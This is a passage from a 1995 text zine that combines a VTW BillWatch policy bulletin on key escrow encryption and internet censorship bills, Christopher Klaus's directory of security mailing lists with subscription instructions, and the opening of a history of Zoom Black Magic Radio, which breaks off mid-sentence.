      listproc@vtw.org with "subscribe vtw-announce Firstname Lastname"
                             in the subject line.

         Email vtw@vtw.org with "send billwatch" in the SUBJECT LINE
                  to receive the latest version of BillWatch

        For permission to reproduce VTW alerts contact vtw@vtw.org
____________________________________________________________________________
TABLE OF CONTENTS

        Action alerts
        This week's legislative and policy rundown

        '-'  denotes quiet issue (no movement this week)
        '+'  denotes movement this week on an issue
        '++' denotes movement this week with an action for YOU to do

        + Changes in US policy on cryptography
                Status: Workshop at NIST Sep. 6th, 7th
        - HR1978, S n.a. (Internet Freedom and Family Empowerment Act)
                Status: In conference
        - HR1004, S314  (1995 Communications Decency Act)
                Status: In conference
        - HR n.a., S714  (Child Protection, User Empowerment, and Free
                                Expression in Interactive Media Study Act)
                Status: In conference
        - Last-minute provisions of the Manager's Mark amendment to HR1555
                Status: In conference
        - HR n.a., S892 (Protection of Children from Computer Pornography Act)
                Status: In committee
        - HR n.a., S974 (Anti-Electronic Racketeering Act)
                Status: In committee

____________________________________________________________________________
ACTION ALERTS

Most of the public is still in a holding pattern regarding the Internet
censorship bills that went into conference before the recess.  During the
recess, activists are asking businesses that use networks like the
Internet or bulletin boards to sign onto a letter that will be sent to
Congress.  It's purpose it to demonstrate to the conference committee
that the "censorship" approach will damage businesses.

There will be an action alert posted within a day or two that tells you
where to sign your business or bulletin board onto.  Please watch for that
and act appropriately when you see it.

The government's "key escrow" program takes its next steps on September
6th and 7th, when a workshop will be convened at NIST outside of Washington
DC.  The topics are "Export of Software Key Escrowed Encryption" (Sep 6th)
and "Desirable Characteristics for Key Escrow Agents" (Sep 7th).  We've
published below two discussion papers NIST has circulated to guide the
day's discussions.

VTW will continue to monitor this process and keep you informed through
BillWatch.

____________________________________________________________________________
CHANGES IN US CRYPTOGRAPHY POLICY

In last week's BillWatch (Issue #14) we described the background
surrounding the announcement of the government's new "Key Escrow"
proposal.  Details are still sketchy, probably because they haven't
been worked out yet.  However detractors are calling the plan "Son of
Clipper" while proponents are hoping it will strike a balance between
industry, law enforcement, and the public.

NIST has distributed two discussion drafts to guide presentations on
the workshops on Sep. 6th and 7th.  Because this is not a public-friendly
process (few of your elected representatives are likely to be involved
in this process) we have re-published these papers here for your perusal.

VTW would like to publicly thank NIST for providing this information.


August 25, 1995

MEMORANDUM FOR Registrants for the Sept. 6-7, 1995
               Key Escrow Issues Meeting

From:  NIST - Ed Roback

Subject:  Discussion Papers

Attached for your information are two discussion papers for the
upcoming September 6-7, 1995 Key Escrow Issues Meeting to be held
at NIST.  If you have any questions on this material, you may
reach me on 301-975-3696.

I look forward to seeing you in September.

Attachments
                    ------------------------

Key Escrow Issues Meeting, September 6-7, 1995
Discussion Paper #1


                      Issues -- Export of
                 Software Key Escrowed Encryption


On August 17, 1995, the Administration announced its proposal to
permit the ready export of software encryption provided that the
products use algorithms with key space that does not exceed 64
bits and the key(s) required to decrypt messages/files are
escrowed with approved escrow agents.  Under the proposal,
products will be reviewed to verify that they satisfy the
criteria and, if so, they will be transferred to the Commodity
Control List administered by the Department of Commerce where the
products can be exported under a general license (in much the
same way that 40-bit RC2/RC4 encryption is licensed today).

We are working toward creating broadly stated criteria that are
in the nature of performance specifications.  To meet these
criteria, encryption products will need to implement key escrow
mechanisms that cannot be readily altered or bypassed so as to
defeat the purposes of key escrowing.

The criteria, when finalized and published, will state the
objectives, but not the exact technical method(s), by which those
objectives are satisfied.  This is to provide software publishers
the flexibility to design methods for meeting our stated
objectives in a manner that is compatible with the design of
their products.  There are, therefore, a number of questions we
must work together to answer in order to draft effective
criteria.  These questions are:

*    Avoiding multiple encryption -- How can the product be
     designed so as to prevent doubling (or tripling, etc.) the
     key space of the algorithm?

*    Disabling the key escrow mechanism -- How can products be
     made resistant to alteration that would disable or
     circumvent the key escrow mechanism?  How can the "static
     patch" problem be avoided?  How can this be tested?

*    Access to escrow information -- What mechanisms must be
     designed into encryption products to allow authorized access
     to escrowed keys?  This likely includes the identity of the
     key escrow agent(s) and a serial number for the key escrow
     agent to use to identify the key(s)/component(s) necessary
     to decrypt the message.  What other information will be
     necessary to be provided to the escrow agent to identify the
     necessary key(s)/component(s)?  Are there other comparable
     viable approaches?

*    Non-escrowed use -- How can products be made so that they do
     not function with non-escrowed products (or tampered
     escrowed products)?  How can this be tested?

*    Limiting surveillance -- How can products be designed so
     that information both sent and received by the user can be
     decrypted without release of keys of other users?

*    Practical Key Access -- How can mechanisms be designed so
     that repeated involvement of escrow agents is not required
     for decryption for multiple files/messages during the
     specified access period?

*    Assurance that keys are escrowed -- How can it be assured
     that key escrow products are indeed satisfactorily escrowed?
     For example, products could be required to be escrowed at
     time of manufacture or be made inoperable until properly
     escrowed.

*    Ability to re-escrow keys -- How can products be designed so
     that new keys can be escrowed at the user's discretion with
     a U.S. Government approved escrow agent?

*    Certified escrow agents -- Can products be designed so that
     only escrow agents certified by the U.S. government
     (domestic, or under suitable arrangements, foreign) are
     utilized?  What should be the criteria for an acceptable
     U.S. escrow agent?

                         --------------

With your input, we are hopeful that this effort will lead to
definitive criteria, which will facilitate the development of
exportable products and help minimize the time required to obtain
export licenses.  The Administration seeks to finalize such
criteria and make formal conforming modifications to the export
regulations before the end of 1995.


Note:  These issues will be discussed at the Key Escrow Issues
Meeting to be held September 6-7, 1995 (9:00 a.m. - 5:00 p.m.) at
the National Institute of Standards and Technology (Gaithersburg,
Maryland).  The meeting will be open to the public, although
seating is limited.  Advance registration is requested, please
contact Arlene Carlton on 301/975-3240, fax: 301/948-1784 or e-
mail: carlton@micf.nist.gov.


8/25/94

                  -----------------------------
Key Escrow Issues Meeting, September 6-7, 1995
Discussion Paper #2


                      Discussion Issues:
         Desirable Characteristics for Key Escrow Agents


In the government's recent announcement of its intent to allow
the export of 64-bit software key escrow encryption products, one
stipulation was that the keys would be escrowed with an approved
key escrow agent.(*1)  Exactly what qualifications/considerations
are appropriate for approval as a key escrow agent have not been
defined.  Some of the issues which need to be discussed and
resolved include the following:

*    What kinds of organizations should be excluded from
     consideration as approved key escrow agents?

*    What sort of legal agreement between the government and the
     key escrow agent is necessary to stipulate the
     responsibilities of the agent?  Should this include the
     terms and conditions under which release of a key is
     required?

*    How will liability for unauthorized release of key be
     handled?

*    Should, for example, intentionally misreleasing or
     destroying a key be criminalized?  Should this include other
     actions?

*    How can the government's needs for confidentiality of key
     release be handled?

*    Should approval of key escrow agents be tied to a public key
     infrastructure (for digital signatures and other purposes)?

*    What procedures need to be developed for the storage and
     safeguarding of keys?

*    What are the acceptable performance criteria (e.g., around-
     the-clock availability, accessibility, reliability, etc.)
     for approved key escrow agents?

*    Under what circumstances will key escrow agents in foreign
     countries be approved?

*    What process will be used to approve escrow agents?
     Costs/who pays?
---------
(*1)  "Approved," for the purposes of this discussion, means that
the government (or its agent) has formally granted permission for
an organization to hold keys for exportable encryption products.


Note:  These issues will be discussed at the Key Escrow Issues Meeting
to be held September 6-7, 1995 (9:00 a.m. - 5:00 p.m.) at the National
Institute of Standards and Technology (Gaithersburg, Maryland).  The
meeting will be open to the public, although seating is limited.
Advance registration is requested, please contact Arlene Carlton on
301/975-3240, fax: 301/948-1784 or e-mail:  carlton@micf.nist.gov.

8/25/95

____________________________________________________________________________
Internet Freedom and Family Empowerment Act (HR 1978, S n.a.)

                *** THIS BILL IS IN CONFERENCE COMMITTEE ***

Description:
        HR 1978 is an attempt to recognize the unique medium that is
        online systems and avoid legislating censorship.  It would:
         -prohibit the FCC from regulating constitutionally-protected
          online speech
         -absolve sysops and services from liability if they take
          good faith measures to screen their content or provide
          parental-screening software

        See directions below for obtaining analyses from various
        organizations.

House sponsors and cosponsors: Cox (R-CA), Wyden (D-OR), Matsui (D-CA),
        White (R-WA), Stupak (D-MI), Rohrabacher (R-CA)

House status:
        HR 1978 was passed 8/4/95 by the House in a vote (421-4).

Where to get more info:
        Email:  vtw@vtw.org (with "send hr1978" in the subject line)
        Gopher: gopher -p 1/vtw/exon gopher.panix.com
        WWW:    http://www.panix.com/vtw/exon

____________________________________________________________________________
1995 COMMUNICATIONS DECENCY ACT (CDA) (Passed Senate, HR 1004)

                *** THIS BILL IS IN CONFERENCE COMMITTEE ***

Description:
        The CDA would criminalize electronic speech currently protected
        in print by the First Amendment.

House CDA sponsors: Johnson (D-SD)

House status:
        HR1004 will probably never leave committee.

Senate status:
        The Senate affirmed the Communications Decency Act (84-16)
        as amended to the Telecommunications Reform bill (S 652).

Where to get more info:
        WWW:    http://www.panix.com/vtw/exon
                http://www.eff.org/
                http://www.cdt.org/
                http://epic.org/free_speech
        Gopher: gopher -p 1/vtw/exon gopher.panix.com
                gopher gopher.eff.org
        Email:  vtw@vtw.org (with "send cdafaq" in the subject line)
                cda-status@cdt.org
                cda-info@cdt.org

____________________________________________________________________________
Child Protection, User Empowerment, and Free Expression in Interactive
Media Study Act (Amendment to HR1555 in the House, S 714)

                *** THIS BILL IS IN CONFERENCE COMMITTEE ***

Description:
        Would direct the Department of Justice to study whether current
        law is sufficient to cover enforcement of existing obscenity
        laws on computers networks.

Senate sponsors: Leahy (D-VT)

Senate status:
        Currently unattached to any legislation; attempted attachment to
        S.652 but failed (6/14/95).

House sponsors:  Klink (D-PA)

House status:
        Amended to HR 1555 in committee.

____________________________________________________________________________
Last-minute provisions of the Manager's Mark amendment to HR1555 (added to
        HR1555 at the last minute)

                *** THIS BILL IS IN CONFERENCE COMMITTEE ***

Description:
        Criminalizes many forms of constitutionally-protected speech
        when they are expressed online.

House sponsors:  Unknown

House status:
        Amended to HR 1555 through the Manager's Mark on 8/4/95.

____________________________________________________________________________
1995 Protection of Children from Computer Pornography Act (S 892)

Description:
        Would make Internet Service Providers liable for shielding
        people under 18 from all indecent content on the Internet.

Senate sponsors: Dole (R-KS), Coats (R-IN), Grassley (R-IA), McConnell (R-KY),
        Shelby (R-AL), Nickles (R-OK), Hatch (R-UT)

Senate status:
        A hearing was held Monday July 24th.  No action on the bill
        has happened yet as a result of that hearing.

____________________________________________________________________________
Anti-Electronic Racketeering Act of 1995 (HR n.a., S 974)

Description:
        S 974 has many effects (not good) on law enforcement's use of
        intercepted communications.  It would also make it unlawful for
        any person to publicly disseminate encoding or encrypting
        software including software *currently allowed* to be exported
        unless it contained a "universal decoding device".  This
        more than likely means that Clipper-style key escrow systems
        could be disseminated, but not strong, private cryptography.

Senate sponsors: Grassley (R-IA)

Senate status: Currently not active and probably won't move before the
        August recess.

Senate citizen action required:
        Request bill below and familiarize yourself with it.  VTW is
        tracking this bill, and will alert you when there is movement.
        There is no Congressional action to take right now; as other
        bills (such as the Communications Decency Act) pose a greater,
        more immediate threat.

House of Representatives status: No House version is currently enrolled.

Where to get more info:
        Email:  vtw@vtw.org (with "send s974" in the subject line)
        Gopher: URL:gopher://gopher.panix.com:70/11/vtw/

____________________________________________________________________________
    End VTW BillWatch Issue #15, Date: Sat Aug 26 15:07:25 EDT 1995
============================================================================

*   *   *   *   *   *   *   *   *   *   *   *   *   *   *   *   *   *   *   *

                        -= H A C K E R S =-

                      Issue #2, File #5 of 9

                     Security  Resources  List

                       By: Christopher Klaus


This was put together to hopefully promote greater awareness of the security
lists that already exist.  Most security mailing lists have been only
announced once and it was only word of mouth that it would acquire new
members.  This list should hopefully make the membership grow for each
mailing list.

If you know of any mailing lists that have been skipped, please e-mail
cklaus@iss.net with the info.

The newest updates for this will be on http://iss.net/.  This web site
also contains info for the following security issues:

        Vendor security contacts
        Security Patches
        What to do if you are compromised
        Set up Anon ftp securely
        Sniffers attacks and solutions



Security Mailing Lists

The following FAQ is a comprehensive list of security mailing lists. These
security mailing lists are important tools to network administrators, network
security officers, security consultants, and anyone who needs to keep abreast
of the most current security information available.

General Security Lists

   *  8lgm (Eight Little Green Men)
   *  Academic-Firewalls
   *  Best of Security
   *  Bugtraq
   *  Computer Privacy Digest (CPD)
   *  Computer Underground Digest (CuD)
   *  Cypherpunks
   *  Cypherpunks-Announce
   *  Firewalls
   *  Intruder Detection Systems
   *  Phrack
   *  PRIVACY Forum
   *  Risks
   *  Sneakers
   *  Virus
   *  Virus Alert

Security Products

   *  Tiger
   *  TIS Firewallk Toolkit

Vendors and Organizations

   *  CERT
   *  CIAC
   *  HP
   *  Sun

-------------------------------------------------------------------------------

8lgm (Eight Little Green Men)

To join, send e-mail to majordomo@8lgm.org and, in the text of your message
(not the subject line), write:

     subscribe 8lgm-list

Group of hackers that periodically post exploit scripts for various Unix bugs.

-------------------------------------------------------------------------------

Academic Firewalls

To join, send e-mail to majordomo@net.tamu.edu and, in the text of your message
(not the subject line), write:

     SUBSCRIBE Academic-Firewalls

This is an unmoderated list maintained by Texas A&M University. Its purpose is
to promote the discussion and use of firewalls and other security tools in an
academic environment. It is complementary to the Firewalls list maintained by
Brent Chapman (send subscription requests to Majordomo@GreatCircle.COM) which
deals primarily with firewall issues in a commercial environment. Academic
environments have different political structures, ethical issues, expectations
of privacy and expectations of access.

Many documented incidents of cracker intrusions have either originated at or
passed through academic institutions. The security at most universities is
notoriously lax or even in some cases completely absent. Most institutions
don't use firewalls because they either don't care about their institution's
security, they feel firewalls are not appropriate or practical, or they don't
know the extent to which they are under attack from the Internet.

At Texas A&M University we have been using a combination of a flexible packet
filter, intrusion detection tools, and Unix security audit utilities for almost
two years. We have found that simple firewalls combined with other tools are
feasible in an academic environment. Hopefully the discussion on this list will
begin to raise the awareness of other institutions also.

-------------------------------------------------------------------------------

Best of Security

To join, send e-mail to best-of-security-request@suburbia.net with the
following in the body of the message:

     subscribe best-of-security

REASONS FOR INCEPTION

In order to compile the average security administrator it was found that the
compiler had to parse a foreboding number of exceptionally noisy and
semantically-content-free data sets. This led to exceptionally high load
averages and a dramatic increase in core entropy.

Further, the number, names and locations of this data appears to change on an
almost daily basis; requiring tedious version control on the part of the mental
maintainer. Best-of-Security is at present an un-moderated list. That may sound
strange given our stated purpose of massive entropy reduction; but because best
often equates with "vital" and the moderator doesn't have an MDA habit it is
important that material sent to this list be delivered to its subscribers' in
as minimal period of time as is (in)humanly possible.

If you find *any* information from *any* source (including other mailinglists,
newsgroups, conference notes, papers, etc) that fits into one of the acceptable
categories described at the end of this document then you should *immediately*
send it to "best-of-security@suburbia.net". Do not try and predict whether or
not someone else will send the item in question to the list in the immediate
future. Unless your on a time-delayed mail vector such as polled uucp or the
item has already appeared on best-of-security, mail the info to the list! Even
if it is a widely deployed peice of information such as a CERT advisory the
proceeding argument still applies. If the information hasn't appeared on this
list yet, then SEND IT. It is far better to run the risk of minor duplication
in exchange for having the information out where it is needed than act
conservatively about occasional doubling up on content.

-------------------------------------------------------------------------------

Bugtraq

To join, send e-mail to LISTSERV@NETSPACE.ORG and, in the text of your message
(not the subject line), write:

     SUBSCRIBE BUGTRAQ

This list is for *detailed* discussion of UNIX security holes: what they are,
how to exploit, and what to do to fix them.

This list is not intended to be about cracking systems or exploiting their
vunerabilities. It is about defining, recognizing, and preventing use of
security holes and risks.

Please refrain from posting one-line messages or messages that do not contain
any substance that can relate to this list`s charter.

Please follow the below guidelines on what kind of information should be posted
to the Bugtraq list:

   *  Information on Unix related security holes/backdoors (past and present)
   *  Exploit programs, scripts or detailed processes about the above
   *  Patches, workarounds, fixes
   *  Announcements, advisories or warnings
   *  Ideas, future plans or current works dealing with Unix security
   *  Information material regarding vendor contacts and procedures
   *  Individual experiences in dealing with above vendors or security
     organizations
   *  Incident advisories or informational reporting

-------------------------------------------------------------------------------

Computer Privacy Digest

To join, send e-mail to comp-privacy-request@uwm.edu and, in the text of your
message (not the subject line), write:

     subscribe cpd

The Computer PRIVACY Digest (CPD) (formerly the Telecom Privacy digest) is run
by Leonard P. Levine. It is gatewayed to the USENET newsgroup
comp.society.privacy. It is a relatively open (i.e., less tightly moderated)
forum, and was established to provide a forum for discussion on the effect of
technology on privacy. All too often technology is way ahead of the law and
society as it presents us with new devices and applications. Technology can
enhance and detract from privacy.

-------------------------------------------------------------------------------

Computer Underground Digest

To join, send e-mail to LISTSERV@VMD.CSO.UIUC.EDU and, in the text of your
message (not the subject line), write:

     SUB CUDIGEST

CuD is available as a Usenet newsgroup: comp.society.cu-digest

Covers many issues of the computer underground.

-------------------------------------------------------------------------------

Cypherpunks

To join, send e-mail to majordomo@toad.com and, in the text of your message
(not the subject line), write:

     SUBSCRIBE cypherpunks

The cypherpunks list is a forum for discussing personal defenses for privacy in
the digital domain. It is a high volume mailing list.

-------------------------------------------------------------------------------

Cypherpunks Announce

To join, send e-mail to majordomo@toad.com and, in the text of your message
(not the subject line), write:

     SUBSCRIBE cypherpunks-announce

There is an announcements list which is moderated and has low volume.
Announcements for physical cypherpunks meetings, new software and important
developments will be posted there.

-------------------------------------------------------------------------------

Firewalls

To join, send e-mail to majordomo@greatcircle.com and, in the text of your
message (not the subject line), write:

     SUBSCRIBE firewalls

Useful information regarding firewalls and how to implement them for security.

This list is for discussions of Internet "firewall" security systems and
related issues. It is an outgrowth of the Firewalls BOF session at the Third
UNIX Security Symposium in Baltimore on September 15, 1992.

-------------------------------------------------------------------------------

Intrusion Detection Systems

To join, send e-mail to majordomo@uow.edu.au with the following in the body of
the message:

     subscribe ids

The list is a forum for discussions on topics related to development of
intrusion detection systems.

Possible topics include:

   *  techniques used to detect intruders in computer systems and computer
     networks
   *  audit collection/filtering
   *  subject profiling
   *  knowledge based expert systems
   *  fuzzy logic systems
   *  neural networks
   *  methods used by intruders (known intrusion scenarios)
   *  cert advisories
   *  scripts and tools used by hackers
   *  computer system policies
   *  universal intrusion detection system

-------------------------------------------------------------------------------

Phrack

To join, send e-mail to phrack@well.com and, in the text of your message (not
the subject line), write:

     SUBSCRIBE Phrack

Phrack is a Hacker Magazine which deals with phreaking and hacking.

-------------------------------------------------------------------------------

PRIVACY Forum

To join, send e-mail to privacy-request@vortex.com and, in the text of your
message (not the subject line), write:

     information privacy

The PRIVACY Forum is run by Lauren Weinstein. He manages it as a rather
selectively moderated digest, somewhat akin to RISKS; it spans the full range
of both technological and non-technological privacy-related issues (with an
emphasis on the former).

-------------------------------------------------------------------------------

Risks

To join, send e-mail to risks-request@csl.sri.com and, in the text of your
message (not the subject line), write:

     SUBSCRIBE

Risks is a digest that describes many of the technological risks that happen in
today's environment.

-------------------------------------------------------------------------------

Sneakers

To join, send e-mail to majordomo@CS.YALE.EDU and, in the text of your message
(not the subject line), write:

     SUBSCRIBE Sneakers

The Sneakers mailing list is for discussion of LEGAL evaluations and
experiments in testing various Internet "firewalls" and other TCP/IP network
security products.

   *  Vendors are welcome to post challenges to the Internet network security
     community
   *  Internet users are welcome to post anecdotal experiences regarding
     (legally) testing the defenses of firewall and security products.
   *  "Above board" organized and/or loosely organized wide area tiger teams
     (WATTs) can share information, report on their progress or eventual
     success here.

There is a WWW page with instructions on un/subscribing as well as posting, and
where notices and pointers to resources (especially if I set up an archive of
this list) may be put up from time to time:

http://www.cs.yale.edu/HTML/YALE/CS/HyPlans/long-morrow/sneakers.html

-------------------------------------------------------------------------------

Virus

To join, send e-mail to LISTSERV@lehigh.edu and, in the text of your message
(not the subject line), write:

     SUBSCRIBE virus-l your-name

It is an electronic mail discussion forum for sharing information and ideas
about computer viruses, which is also distributed via the Usenet Netnews as
comp.virus. Discussions should include (but not necessarily be limited to):
current events (virus sightings), virus prevention (practical and theoretical),
and virus related questions/answers. The list is moderated and digested. That
means that any message coming in gets sent to me, the editor. I read through
the messages and make sure that they adhere to the guidelines of the list (see
below) and add them to the next digest. Weekly logs of digests are kept by the
LISTSERV (see below for details on how to get them). For those interested in
statistics, VIRUS-L is now up to about 2400 direct subscribers. Of those,
approximately 10% are local redistribution accounts with an unknown number of
readers. In addition, approximately 30,000-40,000 readers read comp.virus on
the USENET.

-------------------------------------------------------------------------------

Virus Alert

To join, send e-mail to LISTSERV@lehigh.edu and, in the text of your message
(not the subject line), write:

     SUBSCRIBE valert-l your-name

What is VALERT-L?

It is an electronic mail discussion forum for sharing urgent virus warnings
among other computer users. Postings to VALERT-L are strictly limited to
warnings about viruses (e.g., "We here at University/Company X just got hit by
virus Y - what should we do?"). Followups to messages on VALERT-L should be
done either by private e-mail or to VIRUS-L, a moderated, digested, virus
discussion forum also available on this LISTSERV, LISTSERV@LEHIGH.EDU. Note
that any message sent to VALERT-L will be cross-posted in the next VIRUS-L
digest. To preserve the timely nature of such warnings and announcements, the
list is moderated on demand (see posting instructions below for more
information).

What VALERT-L is *not*?

A place to to anything other than announce virus infections or warn people
about particular computer viruses (symptoms, type of machine which is
vulnerable, etc.).

-------------------------------------------------------------------------------

Security Products

-------------------------------------------------------------------------------

Tiger

To join, send e-mail to majordomo@net.tamu.edu and, in the text of your message
(not the subject line), write:

     SUBSCRIBE tiger

Discussion list for the UNIX security audit tool TIGER

This is the TIGER users mailling list. It is for:

  1.  Update announcements
  2.  Reporting bugs in TIGER.
  3.  Discussing new features for TIGER.
  4.  Discussing use of TIGER.
  5.  Discussing anything else about TIGER.

What is TIGER?

TIGER is a set of shell scripts, C code and configuration files which are used
to perform a security audit on UNIX systems. The goals for TIGER are to make it
very robust and easy to use. TIGER was originally developed for checking hosts
at Texas A&M University following a break in in the Fall of 1992.

The latest version of TIGER is always available from the directory
net.tamu.edu:/pub/security/TAMU. In addition, updated digital signature files
for new platforms and new security patches will be maintained in the directory:

net.tamu.edu:/pub/security/TAMU/tiger-sigs.

-------------------------------------------------------------------------------

TIS Firewall Toolkit

To join, send e-mail to fwall-users-request@tis.com and, in the text of your
message (not the subject line), write:

     SUBSCRIBE

Discussion list for the TIS firewall toolkit

-------------------------------------------------------------------------------

Vendors and Organizations

-------------------------------------------------------------------------------

CERT (Computer Emergency Response Team) Advisory mailing list.

To join, send e-mail to cert@cert.org and, in the text of your message (not the
subject line), write:

     I want to be on your mailing list.

Past advisories and other information related to computer security are
available for anonymous FTP from cert.org (192.88.209.5).

-------------------------------------------------------------------------------

The CIAC (Computer Incident Advisory Capability) of DoE

CIAC has several self-subscribing mailing lists for electronic publications:

  1.  CIAC-BULLETIN for Advisories, highest priority - time critical
     information and Bulletins, important computer security information;
  2.  CIAC-NOTES for Notes, a collection of computer security articles;
  3.  SPI-ANNOUNCE for official news about Security Profile Inspector (SPI)
     software updates, new features, distribution and availability;
  4.  SPI-NOTES, for discussion of problems and solutions regarding the use of
     SPI products.

To join, send e-mail to ciac-listproc@llnl.gov and, in the text of your message
(not the subject line), write any of the following examples:

     subscribe ciac-bulletin LastName, FirstName PhoneNumber
     subscribe ciac-notes LastName, FirstName PhoneNumber
     subscribe spi-announce LastName, FirstName PhoneNumber
     subscribe spi-notes LastName, FirstName PhoneNumber
     e.g., subscribe ciac-notes O'Hara, Scarlett 404-555-1212

You will receive an acknowledgment containing address, initial PIN, and
information on how to change either of them, cancel your subscription, or get
help.

-------------------------------------------------------------------------------

HP, Hewlett Packard

To join, send e-mail to support@support.mayfield.hp.com and, in the text of
your message (not the subject line), write:

     subscribe security_info

The latest digest of new HP Security Bulletins will be distributed directly to
your mailbox on a routine basis.
-------------------------------------------------------------------------------

Sun Security Alert

To join, send e-mail to security-alert@sun.com and, in the subject of your
message write:

     SUBSCRIBE CWS your-email-addr

The message body should contain affiliation and contact information.

-------------------------------------------------------------------------------

Copyright

This paper is Copyright (c) 1995
   by Christopher Klaus of Internet Security Systems, Inc.

Permission is hereby granted to give away free copies electronically. You may
distribute, transfer, or spread this paper electronically. You may not pretend
that you wrote it. This copyright notice must be maintained in any copy made.
If you wish to reprint the whole or any part of this paper in any other medium
excluding electronic medium, please ask the author for permission.

Disclaimer

The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There are NO
warranties with regard to this information. In no event shall the author be
liable for any damages whatsoever arising out of or in connection with the use
or spread of this information. Any use of this information is at the user's own
risk.

Address of Author

Please send suggestions, updates, and comments to:
Christopher Klaus  of Internet Security Systems, Inc.


Internet Security Systems, Inc.

Internet Security Systems, Inc, located in Atlanta, Ga., specializes in the
developement of security scanning software tools. Its flagship product,
Internet Scanner, is software that learns an organization's network and probes
every device on that network for security holes. It is the most comprehensive
"attack simulator" available, checking for over 100 security vulnerabilities.
--
Christopher William Klaus            Voice: (770)441-2531. Fax: (770)441-2431
Internet Security Systems, Inc.            "Internet Scanner lets you find
2000 Miller Court West, Norcross, GA 30071   your network security holes
Web: http://iss.net/  Email: cklaus@iss.net   before the hackers do."

*   *   *   *   *   *   *   *   *   *   *   *   *   *   *   *   *   *   *   *

                           -= H A C K E R S =-

                         Issue #2, File #6 of 9

            **************************************************
            *                 Z O O M I N '                  *
            *                                                *
            *   Voice of Zoom Black Magic Radio/Summer '95   *
            **************************************************

                T H E   S T O R Y   O F   Z O O M . . . . .


The Beginning:
--------------
     Zoom Black Magic Radio started in 1985 in Fresno, California,
because the community needed a voice.  There were lots of
disenfranchised people.  Zoom as we know it today started just with
us experimenting with a Radio Shack transmitter.  I ran across a
friend of mine who was building a low power transmitter, and we
happened to stop by his garage one evening and he was experimenting
with AM carrier current, experimenting with radio, and we let it be
known that we were looking for a transmitter, and he just happened
to have one.  He let us toy around with it.  Then we built a bigger
and better one.
     Then we had some